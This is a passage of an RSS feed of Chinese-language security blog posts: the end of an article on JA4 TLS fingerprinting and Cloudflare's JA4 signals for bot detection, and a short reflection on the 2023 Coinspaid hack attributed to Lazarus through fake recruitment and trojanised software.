DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">&#34;</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">功能，</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Burp Suite </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">也通过其丰富的插件生态尝试规避</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹的检测，单纯的基于</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹黑白名单数据库的检测未来或许只能发现低阶威胁行为者。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">我们该如何进一步挖掘</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹的价值？这里</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">提供了一个非常有趣的思路。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">单一的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹数据价值受限，海量</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹的数据集合则能涌现出新的集体智能，这就是</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">提供的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">信号</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> (JA4 signals)</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">功能，是根据</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">在全球范围内看到的所有流量的最后一小时计算的跨请求特征。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">根据</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> W3Techs </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的数据，</span></span><span lang="EN-US"><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:none;"><span leaf="">79.9%</span></span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><br/></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">使用</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">CDN </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">或</span></span><span lang="EN-US"><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;color:#3370FF;text-decoration:none;text-underline:
none;"><span lang="EN-US"><span leaf="">反向代理</span></span></span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的网站都依赖</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的服务。由于在互联网基础设施的独特视角，</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">每天都会分析从</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 5 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">亿多个用户代理（</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">User-Agent</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">）和数十亿个</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> IP </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">地址生成的超过</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 1500 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">万个唯一</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹。这种数据广度使</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 Signals </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">能够提供汇总统计数据，从而更深入地了解</span><b style="mso-bidi-font-weight:normal;"><span leaf="">全球流量模式</span></b><span leaf="">，远远超出了单一请求或连接指纹识别所能达到的效果。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">这些具备全球流量视角的特征信息，既可以用于简单的防火墙规则，也可以作为高级机器学习模型的输入，实现更加智能的启发式拦截策略。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">以下是一些常见的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">信号</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">(JA4 signals):</span></span><span lang="EN-US"><o:p></o:p></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000331" class="rich_pages wxw-img" data-ratio="1.0579710144927537" data-s="300,640" data-type="png" data-w="828" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=882c81fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27DjfRN1BzJ0ibViaaION2VDGkqI3ot2217hBPgEe08XicGnVtm37Ic7pHicDLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf="">5 </span></span></b><span style="mso-bookmark:
heading_11;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">结论</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹技术通过模块化设计和抗随机化策略，有效缓解传统</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹易被绕过的难题。在企业安全建设实践中，需重点构建动态指纹库、实现多维度关联分析，并与</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">WAF</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">、</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">IDS</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">等安全组件形成协同防御。随着</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">QUIC</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">协议普及率提升，支持多协议识别的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4+</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">技术套件将成为企业网络安全架构的核心组件。建议安全团队持续跟踪官方指纹数据库更新，同时结合威胁情报进行检测策略优化，以应对不断演变的网络威胁。</span></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf=""><br/></span></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">此处感谢黑屋达！编辑了本文99%的内容！</span></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">附录</span></span></b><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹库</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://JA4db.com/" target="_blank">https://JA4db.com/</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/FoxIO-LLC/JA4" target="_blank">https://github.com/FoxIO-LLC/JA4</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/salesforce/ja3" target="_blank">https://github.com/salesforce/ja3</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹测试</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://tls.browserleaks.com/json" target="_blank">https://tls.browserleaks.com/json</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4+ Network Fingerprinting</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://blog.foxio.io/JA4%2B-network-fingerprinting" target="_blank">https://blog.foxio.io/JA4%2B-network-fingerprinting</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Advancing Threat Intelligence: JA4 fingerprints and inter-request signals</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://blog.cloudflare.com/JA4-signals/" target="_blank">https://blog.cloudflare.com/JA4-signals/</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">What is TLS Fingerprinting?| Fastly</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://www.fastly.com/blog/the-state-of-tls-fingerprinting-whats-working-what-isnt-and-whats-next" target="_blank">https://www.fastly.com/blog/the-state-of-tls-fingerprinting-whats-working-what-isnt-and-whats-next</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">信号</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://developers.cloudflare.com/bots/concepts/signals-intelligence/" target="_blank">https://developers.cloudflare.com/bots/concepts/signals-intelligence/</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">与</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> akamai_hash </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的区别</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://www.perplexity.ai/search/what-are-the-differences-betwe-bdwy5ogiTveT5LVClZxgxA" target="_blank">https://www.perplexity.ai/search/what-are-the-differences-betwe-bdwy5ogiTveT5LVClZxgxA</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">How New Headless Chrome &amp; the CDP Signal Are Impacting Bot Detection</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://datadome.co/threat-research/how-new-headless-chrome-the-cdp-signal-are-impacting-bot-detection/" target="_blank">https://datadome.co/threat-research/how-new-headless-chrome-the-cdp-signal-are-impacting-bot-detection/</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">New headless Chrome has been released and has a near-perfect browser fingerprint</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://antoinevastel.com/bot%20detection/2023/02/19/new-headless-chrome.html" target="_blank">https://antoinevastel.com/bot%20detection/2023/02/19/new-headless-chrome.html</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Cloudflare Market Share</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Cloudflare </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">市场占有率</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://kinsta.com/cloudflare-market-share/" target="_blank">https://kinsta.com/cloudflare-market-share/</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/PortSwigger/bypass-bot-detection" target="_blank">https://github.com/PortSwigger/bypass-bot-detection</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://www.perplexity.ai/search/mu-biao-qing-yi-mozilla-mdn-we-WNlf5yHlRdyZA6c.mUnE3A" target="_blank">https://www.perplexity.ai/search/mu-biao-qing-yi-mozilla-mdn-we-WNlf5yHlRdyZA6c.mUnE3A</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">获取</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://mp.weixin.qq.com/s/ytjNcpI2AN7AezGR2K8ahg" target="_blank">https://mp.weixin.qq.com/s/ytjNcpI2AN7AezGR2K8ahg</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/microsoft/OmniParser/tree/master" target="_blank">https://github.com/microsoft/OmniParser/tree/master</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483983">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8a95b408&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483983%26idx%3D1%26sn%3D1cac3d24cfc5545f1dff4cf3c28a4092%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Feb 2025 17:08:00 +0800</pubDate>
    </item>
    <item>
      <title>[阅读随笔] 加密支付巨擘的阿克琉斯之踵</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483971&amp;idx=1&amp;sn=991e4812605b23d243eca83f70241e37</link>
      <description>The art of deception.</description>
      <content:encoded><![CDATA[<p>
原创 <span>黑屋Ω号</span> <span>2024-06-21 21:00</span> <span style="display: inline-block;">上海</span>
</p>

<p>The art of deception.</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=42b8d14e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKc9Zqf3GpzeP5cwX23SrWVDNiblMG76Ll16VibmwT4YCS0IxibxENNpKekStP5bsJSOwEBVlKuMt6amA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">2023年7月22日，全球最大的加密支付提供商之一 - Coinspaid 遭遇了黑客攻击，损失了3730万美元。Coinspaid 与网络安全公司 Match Systems 合作，在2023年8月发布了他们的调查报告。最近因为&#34;吴说&#34;的转载，让这份报告再次流行起来。</span><br/></p><p>简而言之，调查结果显示攻击有很大可能源于 DPRK 背景的 Lazarus 组织。Lazarus 花费了大约半年去寻找合适的 &#34;立足点&#34;。令人大跌眼镜的是，攻击团队利用的手段，并没有 bling bling 的 zero day，而是更为传统的社交工程。</p><p>Lazarus 在攻击初期尝试了 BruteForce，并没有奏效。立足点的建立的关键步骤来源于对资深关键研发人员的虚假招聘，或许很难有人能够经受住竞对公司提供的数倍于当前薪酬方案的 offer。之后，理所当然，攻击者在面试过程中以完成面试任务的方式诱导候选人安装携带木马的（看似合法的）软件实现进入 Coinspaid 的内网。甚至，他们为此提前攻击了软件供应链上游的一家云服务厂商 JumpCloud。突破网络边界后就没有什么额外的对抗了，Lazarus 简单调研后利用了一些集群管理系统的漏洞扩展了对基础设施的控制范围，最终实现从热钱包自动化提取资金，直到提取的资金达到触发告警...</p><p><span data-lark-record-format="docx/record"></span></p><p><img class="rich_pages wxw-img" data-imgfileid="100000320" data-ratio="0.5623556581986143" data-w="866" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a00b97d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKc9Zqf3GpzeP5cwX23SrWVDLibq05QFgiazKx9icI7q7YLO2Q6VXNRL14KxWbcKZasI7eSibe8micGXwDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p>小黑屋的 note：</p><p>1 或许是因为潜在的高额回报， 令人觉得 crypto 行业组织的攻防对抗强度似乎比传统IT行业的组织强度高不少。更具体的证明是，传统互联网公司，近几年公开的安全事件，比如 2021年的 Twitter celebrity bitcoin scam 和 2022 年的 Uber hack ，其主犯主要是十几岁的青少年，较少有来自高度组织化的团队。不过或许这里也有一些幸存者偏差，毕竟类似 Operation Aurora 的事件，可能因为更加隐蔽和更难追踪以及其他基于市值管理因素的考量而没有机会暴露给公众媒体。</p><p>2 另一方面，这个报告再次证明，人还是组织中最脆弱的因素，即使进行了充分的安全意识培训，组织整体的安全意识水位也会随着人员流动而逐渐劣化。作为防御方，或许合理的安全假设应该是网络边界一定会被突破，重要的是对边界突破事件的感知能力和对横向移动（lateral movement）关键操作的阻断速度，而不能寄希望于有一个团队能够通过若干次渗透测试和扫描穷尽组织各个网络服务的所有漏洞。</p><p><span data-lark-record-format="docx/record"></span></p><p>参考资料</p><p><a href="https://www.wublock123.com/index.php?m=content&amp;c=index&amp;a=show&amp;catid=47&amp;id=28347" target="_blank">https://www.wublock123.com/index.php?m=content&amp;c=index&amp;a=show&amp;catid=47&amp;id=28347</a></p><p><a href="https://web.archive.org/web/20240614004241/https://coinspaid.com/tpost/k4r6jt90p1-the-coinspaid-hack-explained" target="_blank">https://web.archive.org/web/20240614004241/https://coinspaid.com/tpost/k4r6jt90p1-the-coinspaid-hack-explained</a></p><p><a href="https://www.theverge.com/2022/9/16/23356213/uber-hack-teen-slack-google-cloud-credentials-powershell" target="_blank">https://www.theverge.com/2022/9/16/23356213/uber-hack-teen-slack-google-cloud-credentials-powershell</a></p><p><a href="https://www.bbc.com/news/technology-56429204" target="_blank">https://www.bbc.com/news/technology-56429204</a></p><p><a href="https://www.imdb.com/title/tt22742294/" target="_blank">https://www.imdb.com/title/tt22742294/</a></p><p><span data-lark-record-format="docx/record"></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483971">阅读原文</a></p>
